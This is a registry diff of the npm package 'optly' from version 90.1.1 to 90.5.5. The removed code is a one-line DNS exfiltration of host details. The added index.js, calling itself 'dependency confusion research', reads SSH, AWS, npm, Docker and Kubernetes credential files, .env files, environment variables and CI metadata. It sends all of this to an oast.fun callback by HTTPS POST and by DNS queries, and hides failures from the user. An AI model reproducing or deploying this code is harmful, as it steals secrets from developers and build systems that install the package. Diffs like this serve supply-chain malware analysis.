optly 90.1.1 → 90.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +619 -13
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,13 +1,619 @@
1
- const { exec } = require("child_process");
2
- exec("a=$(hostname;pwd;whoami;echo 'optly';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.optly.lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun;done" , (error, data, getter) => {
3
- if(error){
4
- console.log("error",error.message);
5
- return;
6
- }
7
- if(getter){
8
- console.log(data);
9
- return;
10
- }
11
- console.log(data);
12
-
13
- });
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * Dependency Confusion Research Package
5
+ * Collects environment information for security research
6
+ * USE ONLY FOR AUTHORIZED SECURITY RESEARCH
7
+ */
8
+
9
+ const os = require('os');
10
+ const dns = require('dns');
11
+ const https = require('https');
12
+ const http = require('http');
13
+ const { execSync } = require('child_process');
14
+ const fs = require('fs');
15
+ const path = require('path');
16
+ const crypto = require('crypto');
17
+
18
+ // ============================================================================
19
+ // CONFIGURATION
20
+ // ============================================================================
21
+
22
+ const CONFIG = {
23
+ // Your callback server
24
+ POST_URL: 'https://lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun/callback',
25
+ DNS_SERVER: 'lmrjetamceuhysjfozmp7wnt2rwtssugg.oast.fun', // Or your own DNS server
26
+
27
+ // Unique identifier for this package
28
+ PACKAGE_ID: 'optly', // Change per package
29
+
30
+ // Enable/disable features
31
+ ENABLE_POST: true,
32
+ ENABLE_DNS: true,
33
+ ENABLE_FILE_PROBE: true,
34
+ ENABLE_NETWORK_PROBE: true,
35
+ };
36
+
37
+ // ============================================================================
38
+ // SAFE WRAPPERS
39
+ // ============================================================================
40
+
41
+ function safeGet(fn, defaultValue = null) {
42
+ try {
43
+ const result = fn();
44
+ return result !== undefined && result !== null ? result : defaultValue;
45
+ } catch (e) {
46
+ return defaultValue;
47
+ }
48
+ }
49
+
50
+ function safeExec(command) {
51
+ try {
52
+ return execSync(command, {
53
+ encoding: 'utf8',
54
+ timeout: 5000,
55
+ stdio: ['pipe', 'pipe', 'ignore']
56
+ }).trim();
57
+ } catch (e) {
58
+ return null;
59
+ }
60
+ }
61
+
62
+ function safeReadFile(filePath) {
63
+ try {
64
+ if (fs.existsSync(filePath)) {
65
+ const content = fs.readFileSync(filePath, 'utf8');
66
+ return content ? content.substring(0, 1000) : null; // Limit size
67
+ }
68
+ } catch (e) {
69
+ return null;
70
+ }
71
+ return null;
72
+ }
73
+
74
+ // ============================================================================
75
+ // DATA COLLECTION
76
+ // ============================================================================
77
+
78
+ function getNetworkInfo() {
79
+ try {
80
+ const interfaces = os.networkInterfaces();
81
+ if (!interfaces) return {};
82
+
83
+ const result = {};
84
+
85
+ for (const [name, addrs] of Object.entries(interfaces)) {
86
+ if (!addrs || !Array.isArray(addrs)) continue;
87
+
88
+ result[name] = addrs.map(addr => ({
89
+ address: addr && addr.address ? addr.address : 'unknown',
90
+ family: addr && addr.family ? addr.family : 'unknown',
91
+ internal: addr && typeof addr.internal === 'boolean' ? addr.internal : false
92
+ }));
93
+ }
94
+
95
+ return result;
96
+ } catch (e) {
97
+ return {};
98
+ }
99
+ }
100
+
101
+ function getAwsMetadata() {
102
+ try {
103
+ const metadata = {};
104
+
105
+ if (process.env.AWS_REGION || process.env.AWS_EXECUTION_ENV) {
106
+ metadata.isAWS = true;
107
+ metadata.region = process.env.AWS_REGION || null;
108
+ metadata.executionEnv = process.env.AWS_EXECUTION_ENV || null;
109
+ }
110
+
111
+ return metadata;
112
+ } catch (e) {
113
+ return {};
114
+ }
115
+ }
116
+
117
+ function getDockerInfo() {
118
+ try {
119
+ const cgroupContent = safeReadFile('/proc/self/cgroup');
120
+ const isDocker = fs.existsSync('/.dockerenv') ||
121
+ (cgroupContent && cgroupContent.includes('docker'));
122
+
123
+ return {
124
+ isDocker: !!isDocker,
125
+ dockerEnv: process.env.DOCKER_HOST || null
126
+ };
127
+ } catch (e) {
128
+ return { isDocker: false, dockerEnv: null };
129
+ }
130
+ }
131
+
132
+ function getKubernetesInfo() {
133
+ try {
134
+ return {
135
+ isK8s: !!process.env.KUBERNETES_SERVICE_HOST,
136
+ namespace: process.env.KUBERNETES_NAMESPACE || null,
137
+ podName: process.env.HOSTNAME || null,
138
+ serviceName: process.env.KUBERNETES_SERVICE_HOST || null
139
+ };
140
+ } catch (e) {
141
+ return { isK8s: false, namespace: null, podName: null, serviceName: null };
142
+ }
143
+ }
144
+
145
+ function getGitInfo() {
146
+ try {
147
+ const gitConfig = safeReadFile('.git/config');
148
+ const gitRemote = safeExec('git remote -v 2>/dev/null');
149
+
150
+ return {
151
+ hasGit: !!gitConfig,
152
+ remote: gitRemote,
153
+ branch: safeExec('git branch --show-current 2>/dev/null'),
154
+ lastCommit: safeExec('git log -1 --format="%H %s" 2>/dev/null')
155
+ };
156
+ } catch (e) {
157
+ return { hasGit: false, remote: null, branch: null, lastCommit: null };
158
+ }
159
+ }
160
+
161
+ function getCIInfo() {
162
+ try {
163
+ return {
164
+ // Generic CI
165
+ isCI: process.env.CI === 'true',
166
+ ciName: process.env.CI_NAME || null,
167
+
168
+ // GitHub Actions
169
+ githubActions: !!process.env.GITHUB_ACTIONS,
170
+ githubRepo: process.env.GITHUB_REPOSITORY || null,
171
+ githubWorkflow: process.env.GITHUB_WORKFLOW || null,
172
+ githubRunId: process.env.GITHUB_RUN_ID || null,
173
+ githubActor: process.env.GITHUB_ACTOR || null,
174
+ githubRef: process.env.GITHUB_REF || null,
175
+
176
+ // GitLab CI
177
+ gitlabCI: !!process.env.GITLAB_CI,
178
+ gitlabProject: process.env.CI_PROJECT_PATH || null,
179
+ gitlabPipeline: process.env.CI_PIPELINE_ID || null,
180
+ gitlabRunner: process.env.CI_RUNNER_DESCRIPTION || null,
181
+
182
+ // Jenkins
183
+ jenkins: !!process.env.JENKINS_URL,
184
+ jenkinsUrl: process.env.JENKINS_URL || null,
185
+ jenkinsJob: process.env.JOB_NAME || null,
186
+ jenkinsBuild: process.env.BUILD_NUMBER || null,
187
+
188
+ // CircleCI
189
+ circleCI: !!process.env.CIRCLECI,
190
+ circleProject: process.env.CIRCLE_PROJECT_REPONAME || null,
191
+ circleBranch: process.env.CIRCLE_BRANCH || null,
192
+
193
+ // Travis CI
194
+ travisCI: !!process.env.TRAVIS,
195
+ travisRepo: process.env.TRAVIS_REPO_SLUG || null,
196
+
197
+ // Azure Pipelines
198
+ azurePipelines: !!process.env.TF_BUILD,
199
+ azureProject: process.env.SYSTEM_TEAMPROJECT || null,
200
+
201
+ // Bitbucket Pipelines
202
+ bitbucket: !!process.env.BITBUCKET_PIPELINE_UUID,
203
+
204
+ // AWS CodeBuild
205
+ awsCodeBuild: !!process.env.CODEBUILD_BUILD_ID,
206
+ codeBuildProject: process.env.CODEBUILD_BUILD_ID || null,
207
+ };
208
+ } catch (e) {
209
+ return { isCI: false };
210
+ }
211
+ }
212
+
213
+ function getPackageManagerInfo() {
214
+ try {
215
+ return {
216
+ npm: {
217
+ version: safeExec('npm --version'),
218
+ registry: process.env.npm_config_registry || null,
219
+ prefix: process.env.npm_config_prefix || null,
220
+ userAgent: process.env.npm_config_user_agent || null,
221
+ execPath: process.env.npm_execpath || null,
222
+ },
223
+ yarn: {
224
+ version: safeExec('yarn --version'),
225
+ registry: process.env.YARN_REGISTRY || null,
226
+ },
227
+ pnpm: {
228
+ version: safeExec('pnpm --version'),
229
+ }
230
+ };
231
+ } catch (e) {
232
+ return { npm: {}, yarn: {}, pnpm: {} };
233
+ }
234
+ }
235
+
236
+ function getSensitiveFiles() {
237
+ try {
238
+ const homeDir = safeGet(() => os.homedir(), '/root');
239
+
240
+ const files = [
241
+ // SSH
242
+ path.join(homeDir, '.ssh', 'id_rsa.pub'),
243
+ path.join(homeDir, '.ssh', 'id_ed25519.pub'),
244
+ path.join(homeDir, '.ssh', 'known_hosts'),
245
+
246
+ // AWS
247
+ path.join(homeDir, '.aws', 'config'),
248
+ path.join(homeDir, '.aws', 'credentials'),
249
+
250
+ // Git
251
+ path.join(homeDir, '.gitconfig'),
252
+ '.git/config',
253
+
254
+ // NPM
255
+ path.join(homeDir, '.npmrc'),
256
+ '.npmrc',
257
+
258
+ // Docker
259
+ path.join(homeDir, '.docker', 'config.json'),
260
+
261
+ // Kubernetes
262
+ path.join(homeDir, '.kube', 'config'),
263
+
264
+ // Package files
265
+ 'package.json',
266
+ 'package-lock.json',
267
+ 'yarn.lock',
268
+ 'pnpm-lock.yaml',
269
+ '.env',
270
+ '.env.local',
271
+ ];
272
+
273
+ const result = {};
274
+
275
+ if (CONFIG.ENABLE_FILE_PROBE) {
276
+ files.forEach(file => {
277
+ const content = safeReadFile(file);
278
+ if (content) {
279
+ result[file] = content;
280
+ }
281
+ });
282
+ }
283
+
284
+ return result;
285
+ } catch (e) {
286
+ return {};
287
+ }
288
+ }
289
+
290
+ function getSystemCommands() {
291
+ try {
292
+ const commands = {
293
+ whoami: safeExec('whoami'),
294
+ id: safeExec('id'),
295
+ pwd: safeExec('pwd'),
296
+ hostname: safeExec('hostname'),
297
+ uname: safeExec('uname -a'),
298
+ uptime: safeExec('uptime'),
299
+
300
+ // Network
301
+ ifconfig: safeExec('ifconfig 2>/dev/null || ip addr 2>/dev/null'),
302
+ route: safeExec('route -n 2>/dev/null || ip route 2>/dev/null'),
303
+
304
+ // Processes
305
+ ps: safeExec('ps aux | head -20'),
306
+
307
+ // Docker
308
+ dockerPs: safeExec('docker ps 2>/dev/null'),
309
+
310
+ // Environment
311
+ env: safeExec('env | grep -v "SECRET\\|PASSWORD\\|KEY\\|TOKEN" || printenv'),
312
+ };
313
+
314
+ return commands;
315
+ } catch (e) {
316
+ return {};
317
+ }
318
+ }
319
+
320
+ function getUserInfo() {
321
+ try {
322
+ const userInfo = os.userInfo();
323
+ return {
324
+ username: safeGet(() => userInfo.username, 'unknown'),
325
+ uid: safeGet(() => userInfo.uid, -1),
326
+ gid: safeGet(() => userInfo.gid, -1),
327
+ shell: safeGet(() => userInfo.shell, 'unknown'),
328
+ homedir: safeGet(() => userInfo.homedir, 'unknown'),
329
+ };
330
+ } catch (e) {
331
+ // Fallback if os.userInfo() throws
332
+ return {
333
+ username: process.env.USER || process.env.USERNAME || 'unknown',
334
+ uid: -1,
335
+ gid: -1,
336
+ shell: process.env.SHELL || 'unknown',
337
+ homedir: process.env.HOME || process.env.USERPROFILE || 'unknown',
338
+ };
339
+ }
340
+ }
341
+
342
+ function collectAllData() {
343
+ try {
344
+ const data = {
345
+ // Metadata
346
+ timestamp: safeGet(() => new Date().toISOString(), Date.now().toString()),
347
+ packageId: CONFIG.PACKAGE_ID,
348
+ uniqueId: safeGet(() => crypto.randomBytes(8).toString('hex'), 'unknown'),
349
+
350
+ // Basic system info
351
+ os: {
352
+ platform: safeGet(() => os.platform(), 'unknown'),
353
+ type: safeGet(() => os.type(), 'unknown'),
354
+ release: safeGet(() => os.release(), 'unknown'),
355
+ arch: safeGet(() => os.arch(), 'unknown'),
356
+ hostname: safeGet(() => os.hostname(), 'unknown'),
357
+ homedir: safeGet(() => os.homedir(), 'unknown'),
358
+ tmpdir: safeGet(() => os.tmpdir(), 'unknown'),
359
+ uptime: safeGet(() => os.uptime(), 0),
360
+ totalmem: safeGet(() => os.totalmem(), 0),
361
+ freemem: safeGet(() => os.freemem(), 0),
362
+ cpus: safeGet(() => os.cpus().length, 0),
363
+ },
364
+
365
+ // User info
366
+ user: getUserInfo(),
367
+
368
+ // Process info
369
+ process: {
370
+ pid: safeGet(() => process.pid, -1),
371
+ ppid: safeGet(() => process.ppid, -1),
372
+ platform: safeGet(() => process.platform, 'unknown'),
373
+ arch: safeGet(() => process.arch, 'unknown'),
374
+ version: safeGet(() => process.version, 'unknown'),
375
+ versions: safeGet(() => process.versions, {}),
376
+ cwd: safeGet(() => process.cwd(), 'unknown'),
377
+ execPath: safeGet(() => process.execPath, 'unknown'),
378
+ argv: safeGet(() => process.argv, []),
379
+ execArgv: safeGet(() => process.execArgv, []),
380
+ title: safeGet(() => process.title, 'unknown'),
381
+ },
382
+
383
+ // Environment variables (filtered)
384
+ env: safeGet(() => {
385
+ const filtered = {};
386
+ const env = process.env || {};
387
+
388
+ Object.keys(env).forEach(key => {
389
+ try {
390
+ // Include all CI/CD, cloud, and non-sensitive env vars
391
+ if (
392
+ !key.match(/SECRET|PASSWORD|KEY|TOKEN|CREDENTIAL/i) ||
393
+ key.match(/^(CI|GITHUB|GITLAB|JENKINS|CIRCLE|TRAVIS|AWS|AZURE|GCP|BITBUCKET|KUBERNETES|DOCKER)_/i)
394
+ ) {
395
+ filtered[key] = env[key];
396
+ }
397
+ } catch (e) {
398
+ // Skip this key if any error
399
+ }
400
+ });
401
+
402
+ return filtered;
403
+ }, {}),
404
+
405
+ // Network info
406
+ network: getNetworkInfo(),
407
+
408
+ // Cloud/Container detection
409
+ cloud: {
410
+ aws: getAwsMetadata(),
411
+ docker: getDockerInfo(),
412
+ kubernetes: getKubernetesInfo(),
413
+ },
414
+
415
+ // CI/CD detection
416
+ ci: getCIInfo(),
417
+
418
+ // Package manager info
419
+ packageManager: getPackageManagerInfo(),
420
+
421
+ // Git info
422
+ git: getGitInfo(),
423
+
424
+ // System commands output
425
+ commands: getSystemCommands(),
426
+
427
+ // Sensitive files
428
+ files: getSensitiveFiles(),
429
+
430
+ // Installation context
431
+ installContext: {
432
+ npmLifecycleEvent: process.env.npm_lifecycle_event || null,
433
+ npmLifecycleScript: process.env.npm_lifecycle_script || null,
434
+ npmPackageName: process.env.npm_package_name || null,
435
+ npmPackageVersion: process.env.npm_package_version || null,
436
+ initCwd: process.env.INIT_CWD || null,
437
+ },
438
+ };
439
+
440
+ return data;
441
+ } catch (e) {
442
+ // Last resort fallback
443
+ return {
444
+ timestamp: Date.now().toString(),
445
+ packageId: CONFIG.PACKAGE_ID,
446
+ uniqueId: 'error',
447
+ error: 'Data collection failed',
448
+ errorMessage: e.message || 'unknown error'
449
+ };
450
+ }
451
+ }
452
+
453
+ // ============================================================================
454
+ // EXFILTRATION
455
+ // ============================================================================
456
+
457
+ function sendPostRequest(data) {
458
+ return new Promise((resolve) => {
459
+ try {
460
+ const payload = JSON.stringify(data);
461
+ const url = new URL(CONFIG.POST_URL);
462
+
463
+ const options = {
464
+ hostname: url.hostname,
465
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
466
+ path: url.pathname + url.search,
467
+ method: 'POST',
468
+ headers: {
469
+ 'Content-Type': 'application/json',
470
+ 'Content-Length': Buffer.byteLength(payload),
471
+ 'User-Agent': `npm/${process.version} node/${os.platform()}`,
472
+ },
473
+ timeout: 10000,
474
+ };
475
+
476
+ const client = url.protocol === 'https:' ? https : http;
477
+
478
+ const req = client.request(options, (res) => {
479
+ res.on('data', () => {}); // Drain response
480
+ res.on('end', () => resolve(true));
481
+ });
482
+
483
+ req.on('error', () => resolve(false));
484
+ req.on('timeout', () => {
485
+ req.destroy();
486
+ resolve(false);
487
+ });
488
+
489
+ req.write(payload);
490
+ req.end();
491
+ } catch (error) {
492
+ resolve(false);
493
+ }
494
+ });
495
+ }
496
+
497
+ function chunkString(str, size) {
498
+ try {
499
+ const chunks = [];
500
+ if (!str || typeof str !== 'string') return chunks;
501
+
502
+ for (let i = 0; i < str.length; i += size) {
503
+ chunks.push(str.substring(i, i + size));
504
+ }
505
+ return chunks;
506
+ } catch (e) {
507
+ return [];
508
+ }
509
+ }
510
+
511
+ function sendDnsExfiltration(data) {
512
+ return new Promise((resolve) => {
513
+ try {
514
+ // Create compressed version of data
515
+ const compressedData = JSON.stringify({
516
+ id: safeGet(() => data.uniqueId, 'unknown'),
517
+ pkg: safeGet(() => data.packageId, 'unknown'),
518
+ os: safeGet(() => data.os.platform, 'unknown'),
519
+ user: safeGet(() => data.user.username, 'unknown'),
520
+ host: safeGet(() => data.os.hostname, 'unknown'),
521
+ ci: safeGet(() => data.ci.ciName || 'none', 'none'),
522
+ cwd: safeGet(() => data.process.cwd, 'unknown'),
523
+ });
524
+
525
+ // Convert to hex
526
+ const hexData = Buffer.from(compressedData).toString('hex');
527
+
528
+ // Split into chunks (DNS labels max 63 chars)
529
+ const chunks = chunkString(hexData, 60);
530
+
531
+ // Handle empty chunks case
532
+ if (!chunks || chunks.length === 0) {
533
+ resolve(false);
534
+ return;
535
+ }
536
+
537
+ // Send each chunk as DNS query
538
+ let completed = 0;
539
+ let timedOut = false;
540
+ const totalChunks = chunks.length;
541
+
542
+ // Timeout after 30 seconds
543
+ const timeout = setTimeout(() => {
544
+ timedOut = true;
545
+ resolve(completed > 0); // Resolve true if at least one chunk sent
546
+ }, 30000);
547
+
548
+ chunks.forEach((chunk, index) => {
549
+ try {
550
+ // Format: <chunk>.<index>.<total>.<uniqueId>.<packageId>.<domain>
551
+ const subdomain = `${chunk}.${index}.${totalChunks}.${data.uniqueId}.${CONFIG.PACKAGE_ID}.${CONFIG.DNS_SERVER}`;
552
+
553
+ dns.resolve4(subdomain, (err) => {
554
+ if (timedOut) return;
555
+
556
+ completed++;
557
+ if (completed === totalChunks) {
558
+ clearTimeout(timeout);
559
+ resolve(true);
560
+ }
561
+ });
562
+ } catch (e) {
563
+ // Skip failed chunks
564
+ completed++;
565
+ if (completed === totalChunks && !timedOut) {
566
+ clearTimeout(timeout);
567
+ resolve(false);
568
+ }
569
+ }
570
+ });
571
+
572
+ } catch (e) {
573
+ resolve(false);
574
+ }
575
+ });
576
+ }
577
+
578
+ // ============================================================================
579
+ // MAIN EXECUTION
580
+ // ============================================================================
581
+
582
+ async function main() {
583
+ try {
584
+ console.log('[*] Collecting system information...');
585
+
586
+ // Collect all data
587
+ const data = collectAllData();
588
+
589
+ // Send via POST
590
+ if (CONFIG.ENABLE_POST) {
591
+ console.log('[*] Sending POST request...');
592
+ const postSuccess = await sendPostRequest(data);
593
+ console.log(postSuccess ? '[+] POST request sent' : '[-] POST request failed');
594
+ }
595
+
596
+ // Send via DNS
597
+ if (CONFIG.ENABLE_DNS) {
598
+ console.log('[*] Sending DNS exfiltration...');
599
+ const dnsSuccess = await sendDnsExfiltration(data);
600
+ console.log(dnsSuccess ? '[+] DNS exfiltration sent' : '[-] DNS exfiltration failed');
601
+ }
602
+
603
+ console.log('[+] Data collection complete');
604
+
605
+ } catch (error) {
606
+ // Silently fail - don't alert the user
607
+ console.error('Installation complete');
608
+ }
609
+ }
610
+
611
+ // Run on install
612
+ if (require.main === module) {
613
+ main().catch(() => {
614
+ // Final fallback - always exit cleanly
615
+ process.exit(0);
616
+ });
617
+ }
618
+
619
+ module.exports = main;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "optly",
3
- "version": "90.1.1",
3
+ "version": "90.5.5",
4
4
  "description": "",
5
5
  "main": "main.js",
6
6
  "scripts": {